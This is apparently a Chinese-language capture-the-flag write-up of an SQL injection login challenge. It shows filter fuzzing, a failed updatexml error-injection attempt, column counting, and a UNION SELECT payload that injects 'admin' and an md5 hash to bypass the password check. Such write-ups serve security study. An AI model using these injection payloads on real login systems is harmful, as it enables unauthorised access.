Subject
SQL
Fuzz
Mind Palace
回显:do not hack me ==> 有过滤机制 ==> fuzz一下看看有什么是被过滤的了
OR
updatexml
没有被过滤 ==> 尝试报错注入
admin' OR updatexml(1,database(),1);# ==> 失败
左右括号被过滤了
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
所以这是个啥emm;在线网站解密失败
这里的一串注释的内容意义不明;;base32/64? or md5?
不过通过回显知道了username = admin
1' order by 3(1,2,3,4..) ==> 判断出有三列
1' union select 1,2,3;# ==> wrong user
1' union select 'admin',2,3;# ==> wrong user
1' union select 1,'admin',3;# ==> wrong pass!
说明第二个字段就是username字段;猜测第一个是id 第三个是password
而且通过知道了admin为username的情况下也没有能绕过什么的1' OR 1 <> 2;#
说明username和password是分开判断的 ==> username判断成功后还需要再单独判断password是否是正确的
猜测的代码
$pass = $_POST['pw'];
if ($_POST['name'] == 'admin') {if ($_POST['pw'] == md5($pass)) {echo $flag;}
}
username = 1' union select 1,'admin','md5(eclipse)';#
md5(eclipse) => 6b7b655dd22faa3f10677c512493a8a0
password = eclipse
登陆后获得flag
Look Ahead
通过回显猜测代码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
这里肯定是提示 ==> 查询后得知是base32解+base64解码
encoded_txt = "MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5"
print(base64.b64decode(base64.b32decode(encoded_txt)))
==> Output:
b"select * from user where username = '$name'"
根据源码提示知道查询正常情况下是这样的:
之后再拿查询出来的pw和用户POST的pw的md5加密的值进行比较;由此在知道了1,2,3列回显情况后,可以构造如下payload:
输入的密码为text即可得到flag值
END (*≧∪≦)